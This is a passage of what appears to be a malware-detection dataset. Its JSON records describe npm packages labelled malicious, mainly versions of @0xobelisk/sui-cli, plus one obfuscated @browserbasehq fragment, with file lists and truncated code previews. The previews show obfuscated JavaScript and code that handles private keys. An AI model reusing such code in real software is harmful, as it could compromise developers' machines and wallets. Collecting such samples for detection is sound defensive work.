eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpeqfoswbp/@browserbasehq-bb9/package/bun_environment.js", "tmp/tmpeqfoswbp/@browserbasehq-bb9/package/dist/utils/config.js", "tmp/tmpeqfoswbp/@browserbasehq-bb9/package/setup_bun.js", "tmp/tmpeqfoswbp/@browserbasehq-bb9/package/dist/commands/init.js", "tmp/tmpeqfoswbp/@browserbasehq-bb9/package/package.json", "tmp/tmpeqfoswbp/@browserbasehq-bb9/package/dist/index.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.25", "filename": "2024-11-25-@0xobelisk_sui-cli-v0.5.25.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqcz_21lq/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ao from\"yargs\";import{hideBin as co}from\"yargs/helpers\";import{Dubhe as ve}from\"@0xobelisk/sui-client\";import{Transaction as z}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Se,SuiClient as Pe}from\"@mysten/sui/client\";import{execSync as Ee}from\"child_process\";import P from\"chalk\";import $ from\"chalk\";import{ZodError as ue}from\"zod\";import{fromZodError as me,ValidationError as ge}from\"zod-validation-error\";var V=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class extends Error{name=\"DubheCliError\"},D=class extends Error{name=\"UpgradeError\"},O=class extends Error{name=\"FsIibError\"};function v(e){if(e instanceof ge)console.log($.redBright(e.message));else if(e instanceof ue){let o=me(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log($.redBright(o.message))}else e instanceof V?(console.log($.red(e.message)),console.log(\"\"),console.log($.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof m?console.log($.red(e)):console.log(e)}import*as B from\"fs/promises\";import{mkdirSync as be,writeFileSync as we}from\"fs\";import{dirname as xe}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as Ce}from\"@mysten/sui/cryptography\";import{execSync as fe,spawn as he}from\"child_process\";import l from\"chalk\";function ye(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=fe(e).toString().trim();retur", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqcz_21lq/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpqcz_21lq/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.20", "filename": "2024-11-03-@0xobelisk_sui-cli-v0.5.20.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpcviozm39/@0xobelisk-sui-cli/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport Ie from\"yargs\";import{hideBin as Ne}from\"yargs/helpers\";import{Obelisk as re}from\"@0xobelisk/sui-client\";import{Transaction as F}from\"@mysten/sui/transactions\";import{getFullnodeUrl as ae,SuiClient as ie}from\"@mysten/sui/client\";import{execSync as le}from\"child_process\";import p from\"chalk\";import g from\"chalk\";import{ZodError as q}from\"zod\";import{fromZodError as J,ValidationError as W}from\"zod-validation-error\";var E=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},a=class extends Error{name=\"ObeliskCliError\"};function h(e){if(e instanceof W)console.log(g.redBright(e.message));else if(e instanceof q){let o=J(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(g.redBright(o.message))}else e instanceof E?(console.log(g.red(e.message)),console.log(\"\"),console.log(g.blue(\"To learn more about Obelisk's configuration, please go to https://github.com/0xobelisk\"))):e instanceof a?console.log(g.red(e)):console.log(e)}import{mkdirSync as ee,writeFileSync as oe}from\"fs\";import{dirname as te}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as ne}from\"@mysten/sui/cryptography\";import{execSync as Q,spawn as Z}from\"child_process\";import r from\"chalk\";function X(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=Q(e).toString().trim();return process.platform===\"win32\"?o.toLowerCase().includes(\"sui.exe\"):o.length>0}catch{return!1}}async function k(e=!1){i", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpcviozm39/@0xobelisk-sui-cli/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpcviozm39/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.35", "filename": "2024-12-14-@0xobelisk_sui-cli-v0.5.35.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp6735rakw/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Ht from\"yargs\";import{hideBin as Jt}from\"yargs/helpers\";import{execSync as Xe,spawn as ce}from\"child_process\";import w from\"chalk\";import Oe from\"chalk\";function T(){console.log(Oe.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Le}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as ze,SuiClient as He}from\"@mysten/sui/client\";import{execSync as Je}from\"child_process\";import $ from\"chalk\";import O from\"chalk\";import{ZodError as Ke}from\"zod\";import{fromZodError as Re,ValidationError as Te}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp6735rakw/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp6735rakw/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.16", "filename": "2024-11-01-@0xobelisk_sui-cli-v0.5.16.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp93jsgx19/@0xobelisk-sui-cli/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport qe from\"yargs\";import{hideBin as Ge}from\"yargs/helpers\";import{execa as de}from\"execa\";var pe={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=de(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},H=pe;import{Obelisk as $e}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Te,getFaucetHost as Se}from\"@mysten/sui/faucet\";import{SuiClient as Re,getFullnodeUrl as je}from\"@mysten/sui/client\";import{Obelisk as be}from\"@0xobelisk/sui-client\";import{Transaction as L}from\"@mysten/sui/transactions\";import{getFullnodeUrl as we,SuiClient as ke}from\"@mysten/sui/client\";import{execSync as xe}from\"child_process\";import c from\"chalk\";import T from\"chalk\";import{ZodError as me}from\"zod\";import{fromZodError as ge,ValidationError as ue}from\"zod-validation-error\";var U=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},i=class extends Error{name=\"ObeliskCliError\"},M=class extends Error{name=\"UpgradeError\"},S=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof ue)console.log(T.redBright(e.message));else if(e instanceof me){let t=ge(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(T.redBright(t.message))}else e instanceof U?(console.log(T.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp93jsgx19/@0xobelisk-sui-cli/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp93jsgx19/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.30", "filename": "2024-12-08-@0xobelisk_sui-cli-v0.5.30.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpp6n2dvyc/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Et from\"yargs\";import{hideBin as St}from\"yargs/helpers\";import{execSync as ze,spawn as ie}from\"child_process\";import w from\"chalk\";import ke from\"chalk\";function N(){console.log(ke.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Re}from\"@0xobelisk/sui-client\";import{Transaction as G}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Te,SuiClient as Ne}from\"@mysten/sui/client\";import{execSync as Ue}from\"child_process\";import E from\"chalk\";import j from\"chalk\";import{ZodError as Ie}from\"zod\";import{fromZodError as Ee,ValidationError as Se}from\"zod-validation-error\";var Y=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},y=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpp6n2dvyc/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpp6n2dvyc/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.23", "filename": "2024-11-08-@0xobelisk_sui-cli-v0.5.23.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp1yr2kcqw/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Ne from\"yargs\";import{hideBin as Re}from\"yargs/helpers\";import{Dubhe as re}from\"@0xobelisk/sui-client\";import{Transaction as $}from\"@mysten/sui/transactions\";import{getFullnodeUrl as ae,SuiClient as ce}from\"@mysten/sui/client\";import{execSync as ie}from\"child_process\";import p from\"chalk\";import g from\"chalk\";import{ZodError as q}from\"zod\";import{fromZodError as J,ValidationError as W}from\"zod-validation-error\";var E=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},a=class extends Error{name=\"DubheCliError\"};function _(e){if(e instanceof W)console.log(g.redBright(e.message));else if(e instanceof q){let o=J(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(g.redBright(o.message))}else e instanceof E?(console.log(g.red(e.message)),console.log(\"\"),console.log(g.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof a?console.log(g.red(e)):console.log(e)}import{mkdirSync as ee,writeFileSync as oe}from\"fs\";import{dirname as te}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as ne}from\"@mysten/sui/cryptography\";import{execSync as Q,spawn as Z}from\"child_process\";import r from\"chalk\";function X(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=Q(e).toString().trim();return process.platform===\"win32\"?o.toLowerCase().includes(\"sui.exe\"):o.length>0}catch{return!1}}async function b(e=!1){if(consol", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp1yr2kcqw/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp1yr2kcqw/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.17", "filename": "2024-11-02-@0xobelisk_sui-cli-v0.5.17.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpga0gzop5/@0xobelisk-sui-cli/package/dist/obelisk.js", "diff_preview": "#!/usr/bin/env node\nimport qe from\"yargs\";import{hideBin as Ge}from\"yargs/helpers\";import{execa as de}from\"execa\";var pe={command:\"localnode\",describe:\"Start a local Sui node for development\",builder(e){return e},async handler(){console.log(\"Clearing localnode history\"),console.log(\"Running: sui-test-validator\");let e=de(\"sui-test-validator\");process.on(\"SIGINT\",()=>{console.log(`\ngracefully shutting down from SIGINT (Crtl-C)`),e.kill(),process.exit()}),await e}},H=pe;import{Obelisk as $e}from\"@0xobelisk/sui-client\";import{requestSuiFromFaucetV0 as Te,getFaucetHost as Se}from\"@mysten/sui/faucet\";import{SuiClient as Re,getFullnodeUrl as je}from\"@mysten/sui/client\";import{Obelisk as be}from\"@0xobelisk/sui-client\";import{Transaction as L}from\"@mysten/sui/transactions\";import{getFullnodeUrl as we,SuiClient as ke}from\"@mysten/sui/client\";import{execSync as xe}from\"child_process\";import c from\"chalk\";import T from\"chalk\";import{ZodError as me}from\"zod\";import{fromZodError as ge,ValidationError as ue}from\"zod-validation-error\";var U=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Obelisk project\"},i=class extends Error{name=\"ObeliskCliError\"},M=class extends Error{name=\"UpgradeError\"},S=class extends Error{name=\"FsIibError\"};function E(e){if(e instanceof ue)console.log(T.redBright(e.message));else if(e instanceof me){let t=ge(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(T.redBright(t.message))}else e instanceof U?(console.log(T.red(e.mes", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpga0gzop5/@0xobelisk-sui-cli/package/dist/obelisk.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpga0gzop5/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 6, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.34", "filename": "2024-12-09-@0xobelisk_sui-cli-v0.5.34.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpc5cv_a6r/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Wt from\"yargs\";import{hideBin as Zt}from\"yargs/helpers\";import{execSync as tt,spawn as de}from\"child_process\";import _ from\"chalk\";import Re from\"chalk\";function V(){console.log(Re.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Be}from\"@0xobelisk/sui-client\";import{Transaction as W}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Ge,SuiClient as Je}from\"@mysten/sui/client\";import{execSync as We}from\"child_process\";import S from\"chalk\";import T from\"chalk\";import{ZodError as Te}from\"zod\";import{fromZodError as je,ValidationError as Ne}from\"zod-validation-error\";var J=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpc5cv_a6r/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpc5cv_a6r/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.0", "filename": "2024-12-15-@0xobelisk_sui-cli-v1.0.0.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpfe6ea1g7/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport zt from\"yargs\";import{hideBin as Ht}from\"yargs/helpers\";import{execSync as Ze,spawn as ae}from\"child_process\";import _ from\"chalk\";import Fe from\"chalk\";function T(){console.log(Fe.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Ye}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as qe,SuiClient as Be}from\"@mysten/sui/client\";import{execSync as Le}from\"child_process\";import m from\"chalk\";import O from\"chalk\";import{ZodError as Ae}from\"zod\";import{fromZodError as Me,ValidationError as Oe}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpfe6ea1g7/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpfe6ea1g7/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.38", "filename": "2024-12-15-@0xobelisk_sui-cli-v0.5.38.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpu948oh2y/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport zt from\"yargs\";import{hideBin as Ht}from\"yargs/helpers\";import{execSync as Ze,spawn as ae}from\"child_process\";import _ from\"chalk\";import Fe from\"chalk\";function T(){console.log(Fe.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Ye}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as qe,SuiClient as Be}from\"@mysten/sui/client\";import{execSync as Le}from\"child_process\";import m from\"chalk\";import O from\"chalk\";import{ZodError as Ae}from\"zod\";import{fromZodError as Me,ValidationError as Oe}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpu948oh2y/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpu948oh2y/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.28", "filename": "2024-12-07-@0xobelisk_sui-cli-v0.5.28.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3zsd_oa1/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as So}from\"yargs/helpers\";import{Dubhe as Ue}from\"@0xobelisk/sui-client\";import{Transaction as W}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Le,SuiClient as Ke}from\"@mysten/sui/client\";import{execSync as je}from\"child_process\";import $ from\"chalk\";import R from\"chalk\";import{ZodError as Se}from\"zod\";import{fromZodError as Ie,ValidationError as $e}from\"zod-validation-error\";var J=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},w=class extends Error{name=\"DubheCliError\"},T=class extends Error{name=\"UpgradeError\"},V=class extends Error{name=\"FsIibError\"};function D(e){if(e instanceof $e)console.log(R.redBright(e.message));else if(e instanceof Se){let o=Ie(e,{prefixSeparator:`\n- `,issueSeparator:`\n- `});console.log(R.redBright(o.message))}else e instanceof J?(console.log(R.red(e.message)),console.log(\"\"),console.log(R.blue(\"To learn more about Dubhe's configuration, please go to https://github.com/0xobelisk\"))):e instanceof w?console.log(R.red(e)):console.log(e)}import*as Z from\"fs/promises\";import{mkdirSync as Me,writeFileSync as Fe}from\"fs\";import{dirname as Re}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as Oe}from\"@mysten/sui/cryptography\";import{execSync as Ee,spawn as Pe}from\"child_process\";import y from\"chalk\";function De(){try{let e=process.platform===\"win32\"?'tasklist /FI \"IMAGENAME eq sui.exe\" /FO CSV /NH':'pgrep -f \"sui start\"',o=Ee(e).toString().trim();retur", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3zsd_oa1/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp3zsd_oa1/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 7, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.1", "filename": "2024-12-24-@0xobelisk_sui-cli-v1.0.1.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp41p98qxm/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport zt from\"yargs\";import{hideBin as Ht}from\"yargs/helpers\";import{execSync as Ze,spawn as ae}from\"child_process\";import _ from\"chalk\";import Fe from\"chalk\";function T(){console.log(Fe.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as Ye}from\"@0xobelisk/sui-client\";import{Transaction as H}from\"@mysten/sui/transactions\";import{getFullnodeUrl as qe,SuiClient as Be}from\"@mysten/sui/client\";import{execSync as Le}from\"child_process\";import m from\"chalk\";import O from\"chalk\";import{ZodError as Ae}from\"zod\";import{fromZodError as Me,ValidationError as Oe}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},g=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp41p98qxm/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp41p98qxm/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "0.5.39", "filename": "2024-12-15-@0xobelisk_sui-cli-v0.5.39.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpkgd9q0ie/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport zt from\"yargs\";import{hideBin as Ht}from\"yargs/helpers\";import{execSync as Ze,spawn as ae}from\"child_process\";import _ from\"chalk\";import Fe from\"chalk\";function T(){console.log(Fe.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ 